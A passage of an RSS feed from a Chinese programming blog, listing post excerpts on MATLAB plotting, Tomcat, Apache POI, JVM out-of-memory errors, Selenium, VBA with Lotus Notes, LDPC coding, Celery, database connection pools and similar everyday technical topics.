height]),产生的新子区域的位置由用户自己指定，后面的四元组为区域的具体参数控制，宽高的取值范围都是【0，1】&#xA;2.plot(x,y)&#xA;函数的功能要能准确把握，很重要&#xA;重要例子：&#xA;3.plot(x1,y1,x2,y2,…)&#xA;这个函数格式的功能是绘制多条曲线，在这一条指令之中，（xi,yi）必须是成对出现的，上面的指令等价于逐条执行plot(x,y)指令&#xA;通过两个实例加深理解&#xA;注意：引入函数linspace(a,b,n) 用于将已知区间【a,b】n等分,返回值是各节点的坐标；&#xA;4.plot(x,y,s)&#xA;hold on命令用来使当前轴及图形保持不变，准备接收plot函数之后的所绘制的新的图线，即把这些图形都花在一张图中，hold off就是之后的图形不在保持这一性质；&#xA;hold on 命令的作用千万不能忘了&#xA;示例：图像信息的保持：&#xA;可以看到下面这个图保持了之前的图像，在此基础上加入了之后的新图&#xA;在这个图纸中，可以看到，前两个图都消失了，因为已经off了&#xA;示例：曲线属性的设置：&#xA;5.plot(x1,y1,s1,x2,y2,s2…)&#xA;这种用法格式与用法三相似，不同之处是此格式下有参数的控制&#xA;这种操作方法一定程度上替代了hold on 命令，而且达到了代码精简的效果，显然很好&#xA;6.1.2. fplot绘图命令： fplot命令是matlab的一个专门用于画一元函数图像的命令，这个功能plot命令也可以完成，实际上plot命令是根据我们给定的数据点来作图，而在实际情况中，我们不知道函数的具体情况，因此我们根据我们所选取的数据点来选择往往会忽略真实函数的某些重要特性&#xA;fplot命令用来指导数据点的选取，通过内部的自适应算法，在函数变化的平稳的地方，它所选取的数据点会相对稀疏一点，在函数变化明显的地方，选点就会很密&#xA;用fplot命令所作出的图像要比用plot命令做出的图像光滑准确&#xA;对上述的几种用法还有几点要说明&#xA;实例：绘制函数图线&#xA;从图中我们可以明显看出fplot命令所画出的图形比plot命令更加准确，这主要是因为分点取的太少了，也就是说对于区间的划分还不够细致，读者往往会感觉对长度为0.01的区间做50等分的划分已经够细致了，但是事实上远远不能精确描述原函数&#xA;6.1.3. ezplot绘图命令： 对于符号函数的图形化表示，用这个命令来做，利用这个命令，可以轻易的将一个符号函数图形化；</description>
    </item>
    <item>
      <title>Tomcat各目录详解</title>
      <link>https://bchobby.github.io/posts/9b06d35e75c025cf830a05f0feda27cc/</link>
      <pubDate>Mon, 05 Aug 2019 20:45:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b06d35e75c025cf830a05f0feda27cc/</guid>
      <description>打开tomcat的解压之后的目录可以看到如下的目录结构：&#xA;1.bin: bin目录中的内容如下图所示：主要用来存放Tomcat的命令，很多环境变量也在此处设置。&#xA;1.以.sh结尾的代表Linux下的命令；&#xA;2.以.bat结尾的代表Windows下的命令。&#xA;其中：&#xA;startup.bat代表windows系统下启动Tomcat的命令；&#xA;shutdown.bat代表Windows系统下关闭Tomcat的命令。&#xA;startup.sh代表linux系统下启动Tomcat的命令；&#xA;shutdown.sh代表linux下关闭Tomcat的命令。&#xA;(即此目录下存放linux系统下和window系统下启动启动和关闭Tomcat服务器的脚本文件)。其中修改catalina可以设置Tomcat的内存&#xA;2.conf： conf目录：存放tomcat服务器全局配置的各种配置文件。&#xA;backup文件夹为它的备份。&#xA;catalina目录 下可以设置默认加载的项目。&#xA;catalina文件 可以设置tomcat服务器内存大小。&#xA;context.xml 可以用来配置数据源之类的东西。&#xA;logging文件 记录tomcat服务器运行的日志记录。&#xA;server.xml : 可以设置域名、端口号、IP、请求的编码、默认加载的项目。&#xA;3.lib: lib目录:用来存放Tomact服务器所需要的所有jar包,将jar包存放到该目录下之后,以后创建项目时就不需要每次都引入jar包了.&#xA;4.logs: logs目录用来存放tomcat在运行过程中产生的日志文件.&#xA;5.temp temp目录用来存放tomcat在运行过程中产生的临时文件.&#xA;6.webapps webapps目录:tomcat默认部署路径。目录用来存放应用程序，当Tomcat启动时会加载webapps目录下的应用程序。当然可以以war包、Jar包、普通文件夹三种形式发布应用&#xA;7.work work目录是用来存放tomact在运行时产生的编译文件.删除该目录相当于删除缓存.</description>
    </item>
    <item>
      <title>java poi cell.getCellTypeEnum() 日期处理的问题</title>
      <link>https://bchobby.github.io/posts/8a103af054e02310fb492d151c2abfe8/</link>
      <pubDate>Mon, 05 Aug 2019 15:54:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a103af054e02310fb492d151c2abfe8/</guid>
      <description>一般情况我们在获取单元格值的时候 会通过 cell.getCellTypeEnum() 提前判定一下单元格的类型 ，从而决定应该如何取值。&#xA;但当把单元格类型自定义的时候，出现了日期解析不出来的问题。&#xA;如出生日期这一列，我自定义格式为 yyyy-mm-dd。 但解析出来是double类型，取值为数字。&#xA;那么当程序校验日期的时候 就出现错误。 因此不得不得再次处理一次&#xA;cell.getCellStyle().getDataFormatString()来判断，这个方法会返回格式字符串，通过这个字符串去匹配，再处理。&#xA;poi获取这种自定义日期格式的时候 返回的字符串为 yyyy\-mm\-dd （注意：有反斜杠），那么程序中在判断的时候要反义一下 用双斜杠。 这样的话就能正确获取日期值了&#xA;/** * 功能描述: 获取单元格值 * * @param cell 单元格 * @return String */ public String getCellValue(Cell cell) { String value = &#34;&#34;; if (cell != null){ switch (cell.getCellTypeEnum()) { case STRING: value = cell.getRichStringCellValue().getString(); break; case NUMERIC: String debug_str = cell.getCellStyle().getDataFormatString(); if (&#34;m/d/yy&#34;.equals(cell.getCellStyle().getDataFormatString()) || &#34;yyyy\\-mm\\-dd&#34;.equals(cell.getCellStyle().getDataFormatString())) { value = DateUtil.dateToStringByFormat(DateUtil.FORMATTER_DATE, cell.getDateCellValue()); } else { DecimalFormat df = new DecimalFormat(&#34;</description>
    </item>
    <item>
      <title>GraphViz&#39;s executables not found解决方案</title>
      <link>https://bchobby.github.io/posts/3ed3b8b897f96135e53e6311805ebe84/</link>
      <pubDate>Sun, 04 Aug 2019 23:52:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ed3b8b897f96135e53e6311805ebe84/</guid>
      <description> 在jupyter notebook运行中报错：GraphViz&#39;s executables not found 解决方案： 在Anaconda Prompt里边输入conda install graphviz 安装成功之后输入pip install graphviz 在anaconda安装路径中找到C:\Anaconda3\Library\bin\graphviz，将此路径添加至系统环境变量中 完成后重新启动jupyter notebook，运行后完美解决 </description>
    </item>
    <item>
      <title>Hadoop各种版本的百度网盘下载</title>
      <link>https://bchobby.github.io/posts/0ae2ace355a6460be8837d582d204f3d/</link>
      <pubDate>Sun, 04 Aug 2019 15:30:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ae2ace355a6460be8837d582d204f3d/</guid>
      <description>点个赞再走呗&#xA;多谢&#xA;下载链接：https://www-eu.apache.org/dist/hadoop/common/&#xA;我已经下载了并存放在网盘中，说好的是开源的，结果有的人就是需要给积分才让你下载。充分贯彻开源&#xA;链接：https://pan.baidu.com/s/1XvL_jas1yVniE-FNQnZNWg 提取码：8ab2 复制这段内容后打开百度网盘手机App，操作更方便哦</description>
    </item>
    <item>
      <title>C语言学习系列十二——循环结构程序设计</title>
      <link>https://bchobby.github.io/posts/df1b7daafa14d1a9aa85012522be29af/</link>
      <pubDate>Fri, 02 Aug 2019 17:41:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df1b7daafa14d1a9aa85012522be29af/</guid>
      <description>循环程序实现要点 哪些操作需要反复执行——循环体在什么情况下执行——循环控制条件 三种循环语句 for语句（实现给定了循环次数）whiledo while（先经循环体运算一次） 例4-8-1 #include&amp;lt;stdio.h&amp;gt; int main() { int i,mark,max,n; printf(&#34;Enter n:&#34; ); scanf(&#34;%d&#34;,&amp;amp;n); printf(&#34;Enter %d marks&#34;,n); scanf(&#34;%d&#34; , &amp;amp;mark); max=mark; for(i=1; i&amp;lt;n; i++){ scanf(&#34;%d&#34;,&amp;amp;mark); if(max&amp;lt;mark) max=mark; } printf(&#34;Max=% d\n&#34;,max); return 0; } Enter n:5 Enter 5 marks67 88 73 54 82 Max= 88 例4-8-2 #include&amp;lt;stdio.h&amp;gt; int main() { int mark,max; printf(&#34;Enter marks: &#34;); scanf(&#34;% d&#34;,&amp;amp;mark); max=mark; while(mark&amp;gt;=0){ if(max&amp;lt;mark) max=mark; scanf(&#34;%d&#34;,&amp;amp;mark); }; printf(&#34;Max=%d\n&#34;,max); return 0; } Enter marks: 67 88 73 54 82 -1 Max=88 例4-9 #include&amp;lt;stdio.</description>
    </item>
    <item>
      <title>多个join的执行过程</title>
      <link>https://bchobby.github.io/posts/1ddfd650383511506beec063ecff2160/</link>
      <pubDate>Fri, 02 Aug 2019 11:47:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ddfd650383511506beec063ecff2160/</guid>
      <description>嵌套循环连接，就是先根据Join的类型和on条件进行逐层连接，每次连接完后用where对结果进行过滤。 在这个例子里，第一步只有A一个表，所以没有join的操作，直接对A用where a.id in (1,2，3，4，5，6)进行过滤，符合条件的记录作为主表，得到临时表t_A；第二步，t_A和B按照 A left join B b on a.bid = b.id 的规则来连接，对结果b.class = &#39;1001&#39;进行过滤，得到临时表t_AB；第三步， t_AB left join C c on b.cid = c.id ，对结果用 where c.id &amp;gt; 15进行过滤，得到新的临时表 t_ABC；第四步， t_ABC right join D d on d.age = c.dage，得到最终结果 t_ABCD。&#xA;所以每个join都会生成一个临时表，临时表再继续关联。</description>
    </item>
    <item>
      <title>教你分析9种 OOM 常见原因及解决方案</title>
      <link>https://bchobby.github.io/posts/6e5e97652a0bb927780e2cfbed65086a/</link>
      <pubDate>Fri, 02 Aug 2019 08:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e5e97652a0bb927780e2cfbed65086a/</guid>
      <description>文章作者：涯海 创作日期：2019-07-15&#xA;专栏地址：https://github.com/StabilityMan/StabilityGuide&#xA;当 JVM 内存严重不足时，就会抛出 java.lang.OutOfMemoryError 错误。本文总结了常见的 OOM 原因及其解决方法，如下图所示。如有遗漏或错误，欢迎补充指正。&#xA;1、Java heap space&#xA;当堆内存（Heap Space）没有足够空间存放新创建的对象时，就会抛出 java.lang.OutOfMemoryError:Javaheap space 错误（根据实际生产经验，可以对程序日志中的 OutOfMemoryError 配置关键字告警，一经发现，立即处理）。&#xA;原因分析 Javaheap space 错误产生的常见原因可以分为以下几类：&#xA;1、请求创建一个超大对象，通常是一个大数组。&#xA;2、超出预期的访问量/数据量，通常是上游系统请求流量飙升，常见于各类促销/秒杀活动，可以结合业务流量指标排查是否有尖状峰值。&#xA;3、过度使用终结器（Finalizer），该对象没有立即被 GC。&#xA;4、内存泄漏（Memory Leak），大量对象引用没有释放，JVM 无法对其自动回收，常见于使用了 File 等资源没有回收。&#xA;解决方案 针对大部分情况，通常只需要通过 -Xmx 参数调高 JVM 堆内存空间即可。如果仍然没有解决，可以参考以下情况做进一步处理：&#xA;1、如果是超大对象，可以检查其合理性，比如是否一次性查询了数据库全部结果，而没有做结果数限制。&#xA;2、如果是业务峰值压力，可以考虑添加机器资源，或者做限流降级。&#xA;3、如果是内存泄漏，需要找到持有的对象，修改代码设计，比如关闭没有释放的连接。&#xA;2、GC overhead limit exceeded 当 Java 进程花费 98% 以上的时间执行 GC，但只恢复了不到 2% 的内存，且该动作连续重复了 5 次，就会抛出 java.lang.OutOfMemoryError:GC overhead limit exceeded 错误。简单地说，就是应用程序已经基本耗尽了所有可用内存， GC 也无法回收。&#xA;此类问题的原因与解决方案跟 Javaheap space 非常类似，可以参考上文。&#xA;3、Permgen space 该错误表示永久代（Permanent Generation）已用满，通常是因为加载的 class 数目太多或体积太大。</description>
    </item>
    <item>
      <title>UI自动化：自己参考</title>
      <link>https://bchobby.github.io/posts/95e0cf0900b84b1fd444a612a66eb593/</link>
      <pubDate>Fri, 02 Aug 2019 07:46:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/95e0cf0900b84b1fd444a612a66eb593/</guid>
      <description>#encoding:utf-8 from selenium import webdriver import json import time from selenium.webdriver.support.ui import Select from selenium.webdriver import ActionChains driver= webdriver.Firefox() url=&#34;http://47.92.220.226/webdriver/&#34; driver.get(url) # 各种定位方式 # eles=driver.find_element_by_link_text(u&#39;定位方法测试页面&#39;) # eles.click() eles = driver.find_element_by_partial_link_text(u&#39;测试页面&#39;) eles.click() input_name=driver.find_element_by_id(u&#39;username&#39;) input_name.send_keys(u&#39;yanzhenxing&#39;) input_email=driver.find_element_by_name(u&#39;email&#39;) input_email.send_keys(u&#39;1234@qq.com&#39;) # input_password=driver.find_elements_by_class_name(u&#39;login_input&#39;)[2] # input_password.send_keys(u&#39;1233&#39;) input_password=driver.find_element_by_id(u&#39;password&#39;) input_password.send_keys(&#39;1233&#39;) input_twopwd=driver.find_element_by_css_selector(u&#39;#confirm_password&#39;) input_twopwd.send_keys(u&#39;1233&#39;) denglu=driver.find_element_by_xpath(u&#39;//td[@colspan]/input[1]&#39;) denglu.click() ele_regmsg = driver.find_element_by_id(u&#34;regmsg&#34;) regmsg_text = ele_regmsg.text regmsg_json = json.loads(regmsg_text.split(u&#34;成功:&#34;)[-1], encoding=&#39;utf-8&#39;) print(&#34;uid: %s&#34; % regmsg_json[&#39;uid&#39;]) print(&#34;username: %s&#34; % regmsg_json[&#39;username&#39;]) print(&#34;password: %s&#34; % regmsg_json[&#39;password&#39;]) print(&#34;email: %s&#34; % regmsg_json[&#39;email&#39;]) elems=driver.</description>
    </item>
    <item>
      <title>[转][分享] 使用VBA操作Lotus Notes</title>
      <link>https://bchobby.github.io/posts/041cc7f7e6b6584f5def9b18e25d447c/</link>
      <pubDate>Thu, 01 Aug 2019 23:20:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/041cc7f7e6b6584f5def9b18e25d447c/</guid>
      <description>之前在这个帖子中讨论了使用VBA发送Lotus Notes邮件，那个帖子中还有些问题一直没有解决，例如签名。另外之前自己也认为不能使用Lotus Notes的UI操作，实际上是错的。&#xA;这里开一个新贴提供一些关于使用VBA操作Notes的例子，主要涉及Notes的邮件功能。使用的Notes版本是R6。如有不足的地方，希望大家补充。&#xA;1. 获取当前用户名&#xA;Sub GetUserName()&#xA;Dim aNotes&#xA;&#39; 创建NoteSession对象&#xA;Set aNotes = CreateObject(&#34;Notes.NotesSession&#34;)&#xA;&#39; 获取用户名&#xA;MsgBox aNotes.UserName&#xA;Set aNotes = Nothing&#xA;End Sub&#xA;2. 访问数据库&#xA;Sub AccessDataBase()&#xA;Dim aNotes&#xA;Dim aDataBase&#xA;Dim strTemp As String&#xA;Set aNotes = CreateObject(&#34;Notes.NotesSession&#34;)&#xA;&#39; 获取当前数据库&#xA;Set aDataBase = aNotes.CURRENTDATABASE&#xA;&#39; 获取服务器上指定数据库&#xA;&#39;Set aDataBase = aNotes.GetDatabase(&#34;server/subfolder&#34;, &#34;mail/yourname&#34;)&#xA;&#39; 获取本地联系人数据库&#xA;&#39;Set aDataBase = aNotes.GetDatabase(&#34;&#34;, &#34;names&#34;)&#xA;&#39; 获取本地数据库&#xA;&#39;Set aDataBase = aNotes.GetDataBase(&#34;&#34;, &#34;c:\work\temp.nsf&#34;)</description>
    </item>
    <item>
      <title>LDPC编译码原理</title>
      <link>https://bchobby.github.io/posts/f5ab9ba507445d99e962323a75c54a43/</link>
      <pubDate>Thu, 01 Aug 2019 20:45:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5ab9ba507445d99e962323a75c54a43/</guid>
      <description>LDPC码简介 低密度校验码（LDPC码）是一种前向纠错码，LDPC码最早在20世纪60年代由Gallager在他的博士论文中提出，但限于当时的技术条件，缺乏可行的译码算法，此后的35年间基本上被人们忽略，其间由Tanner在1981年推广了LDPC码并给出了LDPC码的图表示，即后来所称的Tanner图。1993年Berrou等人发现了Turbo码，在此基础上，1995年前后MacKay和Neal等人对LDPC码重新进行了研究，提出了可行的译码算法，从而进一步发现了LDPC码所具有的良好性能，迅速引起强烈反响和极大关注。经过十几年来的研究和发展，研究人员在各方面都取得了突破性的进展，LDPC码的相关技术也日趋成熟，甚至已经开始有了商业化的应用成果，并进入了无线通信等相关领域的标准。&#xA;LDPC码的特点&#xA;LDPC码是一种分组码，其校验矩阵只含有很少量非零元素。正是校验矩阵的这种稀疏性，保证了译码复杂度和最小码距都只随码长呈现线性增加。除了校验矩阵是稀疏矩阵外，码本身与任何其它的分组码并无二致。其实如果现有的分组码可以被稀疏矩阵所表达，那么用于码的迭代译码算法也可以成功的移植到它身上。然而，一般来说，为现有的分组码找到一个稀疏矩阵并不实际。不同的是，码的设计是以构造一个校验矩阵开始的，然后才通过它确定一个生成矩阵进行后续编码。而LDPC的编码就是本文所要讨论的主体内容。对于LDPC码而言，校验矩阵的选取十分关键，不仅影响LDPC码的纠错性能力，也影响LDPC编译码的复杂度及硬件实现的复杂度。准循环 LDPC 码(Quasi-Cycle,QC-LDPC)是 LDPC 码中重要的一类,是指一个码字以右移或左移固定位数的符号位得到的仍是一个码字。QC-LDPC 码的校验矩阵是由循环子矩阵的阵列组成，相对于其他类型的 LDPC 码，在编码和解码的硬件实现上具有许多优点。编码可以通过反馈移位寄存器有效实现，采用串行算法，编码的复杂度与校验比特位数成正比，而采用并行算法，编码复杂度与码字长度成正比。对硬件解码实现，准循环的结构简化了消息传递的路径，可以部分并行解码，实现了解码复杂度和速率的折中。这些优点，使得 QC-LDPC 码作为未来通信和存储系统应用的主要 LDPC 码。&#xA;译码算法的选择&#xA;译码方法是LDPC码与经典的分组码之间的最大区别。经典的分组码一般是用ML类的译码算法进行译码的，所以它们一般码长较小，并通过代数设计以减低译码工作的复杂度。但是LDPC码码长较长，并通过其校验矩阵H的图像表达而进行迭代译码，所以它的设计以校验矩阵的特性为核心考虑之一。由于 LDPC 码校验矩阵的稀疏性,其译码复杂度与码长不是指数关系,而是线性关系,因而 LDPC 码的码长可以很长，可以达到几千到几万甚至更高，这样带来的一个好处是：一个码字内各比特之间的关联长度比较长，一般通过迭代译码方法进行译码，充分利用码字内各比特的关联性以提高译码准确度,并且还充分利用了信道的特征。本课题采用的译码算法为置信传播（BP）译码算法，置信传播算法是基于 Tanner 图的迭代译码算法。在迭代过程中，可靠性信息，即“消息”通过 Tanner图上的边在变量节点和校验节点中来回传递，经多次迭代后趋于稳定值，然后据此进行最佳判决，BP译码算法有着非常好译码性能。&#xA;Tanner图&#xA;LDPC码常常通过图来表示，而Tanner图所表示的其实是LDPC码的校验矩阵。Tanner图包含两类顶点:n个码字比特顶点(称为比特节点)，分别与校验矩阵的各列相对应和m个校验方程顶点(称为校验节点)，分别与校验矩阵的各行对应。校验矩阵的每行代表一个校验方程，每列代表一个码字比特。所以，如果一个码字比特包含在相应的校验方程中，那么就用一条连线将所涉及的比特节点和校验节点连起来，所以Tanner图中的连线数与校验矩阵中的1的个数相同。以下图是矩阵的Tanner图，其中比特节点用圆形节点表示，校验节点用方形节点表示，加黑线显示的是一个6循环：&#xA;​​​​​​&#xA;Tanner图中的循环是由图中的一群相互连接在一起的顶点所组成的，循环以这群顶点中的一个同时作为起点和终点，且只经过每个顶点一次。循环的长度定义为它所包含的连线的数量，而图形的围长，也可叫做图形的尺寸，定义为图中最小的循环长度。如上图中，图形的尺寸，即围长为6，如加黑线所示。&#xA;LDPC编码 基于校验矩阵H直接编码方案&#xA;首先推导出根据校验矩阵直接编码的等式。将尺寸为（m,n）校验矩阵写成如下形式：&#xA;H = [ H 1 H 2 ] H=[H_1 \ H_2] H=[H1​ H2​]&#xA;其中 H 1 H_1 H1​ 的大小为 m ∗ k m*k m∗k ， H 2 H_2 H2​ 的大小为 m ∗ m m*m m∗m 。设编码后的码字行向量为 c c c ，它的长度为n，把它写成如下形式</description>
    </item>
    <item>
      <title>链表的创建与打印</title>
      <link>https://bchobby.github.io/posts/09e191441919c7ae9f18e3281b2f4f16/</link>
      <pubDate>Thu, 01 Aug 2019 17:41:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/09e191441919c7ae9f18e3281b2f4f16/</guid>
      <description>链表&#xA;链表的创建与打印 #include&amp;lt;stdio.h&amp;gt; #include&amp;lt;stdlib.h&amp;gt; typedef struct student{ char name[8]; char num[10]; int score; struct student *next; }NODE; //将struct student 结构类型定义为新的类型名NODE //（我得理解是，链表是一种特殊的结构，就是形如 NODE 一样的结构体，所以用NODE表示这种特殊的结构） int main() { NODE *head; //变量声明，定义 一个NODE结构类型的指针变量head NODE *creat(); // creat函数原型申明 ，返回值类型为NODE结构指针 （该函数实现链表的创建） void display(NODE*); // display 函数原型申明，形参为NODE结构指针，返回值为空 （该函数实现链表的打印） head=creat(); //创建链表 display(head); //打印链表 return 0;&#x9;} //定义函数 NODE *creat() { NODE *head, *p, *s; //声明三个NODE类型的指针 ，head头指针，p可以看作尾指针，s可以看作节点指针 int key=1,n; //n表示链表的节点个数 char k[3],grad[3]; // head=(NODE*)malloc(sizeof(NODE)); //给头指针动态分配内存地址 p=head; // while(key) { printf(&#34;</description>
    </item>
    <item>
      <title>利用KODI轻松开启NAS分享视频方式</title>
      <link>https://bchobby.github.io/posts/d26e685ce830e19a6c17c8e2fa025252/</link>
      <pubDate>Wed, 31 Jul 2019 18:03:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d26e685ce830e19a6c17c8e2fa025252/</guid>
      <description>铁威马TOS系统多平台兼容，多协议支持如FTP/AFP/SMB/WebDAV/NFS等等，内网外网访问方式多样化，家庭日常影音视听享受也得到了最大化的便捷度。举个简单例子，在电视盒子或手机端安装KODI，即可利用DLNA/UPnP开启NAS分享视频音乐源的新篇章。&#xA;当然，也可以用KODI通过SAMBA、NFS等方式实现NAS影音播放。盒子如此，手机端也一样。事实上，TNAS第三方应用也可以实现类似DLNA播放功能，可根据自己喜好选用。&#xA;一张动图带你了解这是怎样方便的操作，实测1080p杜比5.1大片播放流畅，用电视看电影再也不用憋脚投屏或来回倒腾了。&#xA;KODI通过SAMBA、NFS等方式实现NAS影音播放。&#xA;1电视盒子或移动设备下载；&#xA;2选择“视频-文件-添加视频-浏览新共享-UPnP Devices”；&#xA;3选择添加铁威马NAS的DLNA分享源；&#xA;4进入TNAS影视库看电影；&#xA;5开始播放。</description>
    </item>
    <item>
      <title>mongodb &#34;errmsg&#34; : &#34;not master and slaveOk=false&#34;的解决办法</title>
      <link>https://bchobby.github.io/posts/65a1c3add3d494c3febf0f0ebf4db1f5/</link>
      <pubDate>Wed, 31 Jul 2019 17:07:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/65a1c3add3d494c3febf0f0ebf4db1f5/</guid>
      <description>mongodb “errmsg” : &#34;not master and slaveOk=false&#34;的解决办法 ##是正常的，因为SECONDARY是不允许读写的，如果非要解决执行 rs.slaveOk() 这句命令就可以了&#xA;[yukw@mongodb4 data]$ ./mongo -port 20000 MongoDB shell version v3.4.4 connecting to: mongodb://127.0.0.1:20000/ MongoDB server version: 3.4.4 Server has startup warnings: 2019-07-31T17:06:43.397+0800 I CONTROL [initandlisten] 2019-07-31T17:06:43.397+0800 I CONTROL [initandlisten] ** WARNING: Access control is not enabled for the database. 2019-07-31T17:06:43.398+0800 I CONTROL [initandlisten] ** Read and write access to data and configuration is unrestricted. 2019-07-31T17:06:43.398+0800 I CONTROL [initandlisten] 2019-07-31T17:06:43.398+0800 I CONTROL [initandlisten] 2019-07-31T17:06:43.</description>
    </item>
    <item>
      <title>Celery基础介绍</title>
      <link>https://bchobby.github.io/posts/ae1bab7883d538fa304d2d35d8133c4b/</link>
      <pubDate>Wed, 31 Jul 2019 11:00:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae1bab7883d538fa304d2d35d8133c4b/</guid>
      <description>一、Celery的基础介绍 1.celery简介 Celery 是一个异步任务队列/基于分布式消息传递的作业队列。其本质是生产者和消费者模式。生产者发送任务到消息队列，消费者负责处理任务。 2.celery 的架构 Celery的架构由三部分组成：消息中间件(Broker)、任务执行单元Worker、结果存储(Backend)。 消息中间件Broker：支持RabbitMQ、Redis、Amazon SQS、MongoDB、Memcached 等，官方推荐RabbitMQ任务执行单元Worker：负责从消息队列中取出任务执行，它可以启动一个或者多个，也可以启动在不同的机器节点，这就是其实现分布式的核心。结果存储Backend：支持RabbitMQ、 Redis、Memcached,SQLAlchemy, Django ORM、Apache Cassandra、Elasticsearch&#xA;3.celery 工作原理 1.任务模块Task包含异步任务和定时任务。 异步任务通常在业务逻辑中被触发并发往消息队列，定时任务由Celery Beat进程周期性地将任务发往消息队列 2.任务执行单元Worker实时监视消息队列获取队列中的任务执行3.Woker执行完任务后将结果保存在Backend中 4.安装 由于celery是有python开发，所以可以使用pip包管理工具直接下载&#xA;pip install celery&#xA;5.使用 不使用配置文件的简单使用&#xA;在assets应用模块的__init__.py 创建celery实例&#xA;tests.py：任务定义文件 import time from assets import app @app.task def add(x, y): time.sleep(5) # 模拟耗时操作 return x + y 启动worker&#xA;celery worker -A assets.tests -l debug worker: 代表启动的角色是worker,当然还有beat等其它角色A: 项目路径，这里我的项目引用路径是assets.testsl: 启动的日志级别，这里我启用了debug级别&#xA;查看日志输出，会发现我们定义的任务&#xA;现在worker启动了，但是我们需要用delay或apply_async来将任务添加到worker中。这里我们使用交互方式来添加任务,并返回AsyncResult对象，通过AsyncResult对象获取结果.&#xA;a = add.delay(args),发送任务到队列中ready(): 判断任务是否有结果，返回True or Falsestate:返回任务状态task_id: 返回任务idresult: 返回任务结果，同get()方法info: 获取任务信息，默认返回结果successful(): 判断任务是否成功，返回True or False 使用配置文件</description>
    </item>
    <item>
      <title>kibana内存设置</title>
      <link>https://bchobby.github.io/posts/10c429db7b45b8c8d6152e1434188293/</link>
      <pubDate>Wed, 31 Jul 2019 10:50:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/10c429db7b45b8c8d6152e1434188293/</guid>
      <description>kibana是一个基于NodeJS的单页web应用。而NodeJS则是基于Chrome V8引擎的。V8引擎对于内存的使用是有限制的，默认情况下，64位系统下约为1.4GB，32位系统下约为0.7GB。&#xA;在系统内存不是很大，或者kibana出现OOM异常时，就需要对内存进行调整。一般来说，通过调整老年代内存就可以了。在kibana的bin目录下的脚本kibana或kibana.bat中添加如下配置。&#xA;示例 Windows：&#xA;set NODE_OPTIONS=%NODE_OPTIONS% --max-old-space-size=200 Linux：&#xA;NODE_OPTIONS=&#34;$NODE_OPTIONS --max-old-space-size=200&#34; 修改后重新启动kibana即可生效。</description>
    </item>
    <item>
      <title>数据库连接池和DbUtil工具使用</title>
      <link>https://bchobby.github.io/posts/3b8c270bdd17c884a0460309c3699bd6/</link>
      <pubDate>Wed, 31 Jul 2019 07:10:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b8c270bdd17c884a0460309c3699bd6/</guid>
      <description>一、数据库连接池 1.1 数据库连接池介绍 因为创建Connection对象也会消耗系统资源。因此，如果应用程序需要大量创建Connection对象，就有可能会导致服务器的资源很快就被消耗完。&#xA;解决办法： 当服务器启动的时候，就预先创建一批的Connection对象保存在一个容器中。每次用户访问数据库的时候，先从该容器中获取一个数据库连接。如果用完之后，再重新把该connection放回到容器中，给其他用户使用。这个容器就是“数据库连接池”。&#xA;使用数据库连接池的好处：&#xA;1） 减少创建数据库连接的数量；&#xA;2） 提高程序的执行效率；&#xA;1.2 实现数据库连接池 第一步：定义一个类，实现DataSource接口。&#xA;第二步：定义一些变量用来存储连接池的相关信息；&#xA;第三步：实现getConnection方法；&#xA;class MyPool implements DataSource { private String url = &#34;jdbc:mysql://localhost:3306/entor_db&#34;; //数据库URL private String userName = &#34;root&#34;; // 数据库用户名 private String password = &#34;root&#34;; // 数据库用户密码 private int maxPoolSize = 5; // 连接池最大的连接数 private int currentPoolSize = 0; // 当前连接池的连接数 //加载驱动 static { try { Class.forName(&#34;com.mysql.jdbc.Driver&#34;); } catch (ClassNotFoundException e) { e.printStackTrace(); } } LinkedList&amp;lt;Connection&amp;gt; pool = new LinkedList&amp;lt;Connection&amp;gt;(); //保存数据库连接 //从连接池中获取一个数据库连接 @Override public Connection getConnection() throws SQLException { if (pool.</description>
    </item>
    <item>
      <title>shouldOverrideUrlLoading返回值</title>
      <link>https://bchobby.github.io/posts/975e5f978f7dfd81b17286feb9f788e0/</link>
      <pubDate>Tue, 30 Jul 2019 19:31:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/975e5f978f7dfd81b17286feb9f788e0/</guid>
      <description>前言 这周在做一个需求时，需要用到WebView，但是在做的过程中，却遇到了一些问题。WebView我其实接触并不多，这次的需求里还涉及了一些JS交互之类的，所以我是边学边做，但是网上的示例和教程，往往藏着一些坑，这一次我就发现关于shouldOverrideUrlLoading这个方法，网上的说法真的是五花八门，这篇文章，我们来澄清一下shouldOverrideUrlLoading的真正用法。&#xA;官方文档：&#xA;/** * Give the host application a chance to take over the control when a new * url is about to be loaded in the current WebView. If WebViewClient is not * provided, by default WebView will ask Activity Manager to choose the * proper handler for the url. If WebViewClient is provided, return true * means the host application handles the url, while return false means the * current WebView handles the url.</description>
    </item>
    <item>
      <title>高翔博士SLAM硬件体验：INDEMIND双目IMU相机</title>
      <link>https://bchobby.github.io/posts/e529978840096edf6e5573f535a1a492/</link>
      <pubDate>Tue, 30 Jul 2019 17:36:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e529978840096edf6e5573f535a1a492/</guid>
